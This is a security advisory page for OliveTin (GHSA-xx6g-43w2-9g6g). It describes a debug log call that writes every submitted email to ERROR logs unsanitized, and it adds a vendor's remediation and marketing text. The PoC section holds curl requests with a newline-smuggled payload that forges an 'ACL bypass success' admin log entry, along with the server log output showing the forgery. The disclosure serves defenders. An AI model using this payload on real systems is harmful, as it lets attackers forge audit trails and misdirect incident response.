Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-xx6g-43w2-9g6g

OliveTin's email argument makes compliance harder, enables log injection

Also known asGO-2026-4687
Published
Mar 12, 2026
Updated
Mar 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐹github.com/OliveTin/OliveTin

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.

Details

File: service/internal/executor/arguments.go Line: 254 Version confirmed: 3000.11.1

Vulnerable code

func typeSafetyCheckEmail(value string) error {
    _, err := mail.ParseAddress(value)
    log.Errorf("Email check: %v, %v", err, value) 
    if err != nil {
        return err
    }
    return nil
}

The log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:

  1. PII Exposure via ERROR logs

Every email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under

  1. Log Injection

The %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:

[email protected]\nlevel="error" msg="ACL bypass success" username="admin"

OliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:

  • Forged security alerts that trigger real PagerDuty/Opsgenie pages
  • Audit trail manipulation hiding real events among noise
  • False positives that exhaust on-call responder attention (alert fatigue)
  1. Alert Fatigue

Because even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.

Affected execution: mode: exec: only The shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).

PoC

Get the binding ID

BINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H "Content-Type: application/json" -d '{}' | \
  python3 -c "
import sys,json
d=json.load(sys.stdin)
def f(o):
    if isinstance(o,dict):
        a=o.get('action')
        if a and isinstance(a,dict):
            for arg in a.get('arguments',[]):
                if arg.get('type')=='email': print(a['bindingId'])
        [f(v) for v in o.values()]
    elif isinstance(o,list): [f(i) for i in o]
f(d)")
echo "Binding: $BINDING"

Trigger PII exposure (valid email --> ERROR log):

curl -s -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"[email protected]\"}]}"

Observed server log (confirmed on 3000.11.1):

docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: <nil>, [email protected]"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", [email protected]\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", [email protected]\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, [email protected]"

Trigger log injection:

curl -s -X POST http://localhost:1337/api/StartAction \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"[email protected]\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"}]}"

Observed server log injected line appears as a real event:

docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", [email protected]\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", [email protected]\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, [email protected]"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", [email protected]\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""

Impact

  • End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators
  • Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments
  • On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions
  • Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs

Recommendation

func typeSafetyCheckEmail(value string) error {
    _, err := mail.ParseAddress(value)
    if err != nil {
        log.WithField("type", "email").Debugf("Email argument type check failed")
        return err
    }
    return nil
}

Only log on failure, at DEBUG level, and never log the value itself.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/OliveTin/OliveTinall versions3000.11.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/OliveTin/OliveTin to 3000.11.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xx6g-43w2-9g6g is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xx6g-43w2-9g6g is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xx6g-43w2-9g6g. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security a
O3 Security · Impact-Aware SCA

Is GHSA-xx6g-43w2-9g6g in your dependencies?

O3 detects GHSA-xx6g-43w2-9g6g across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.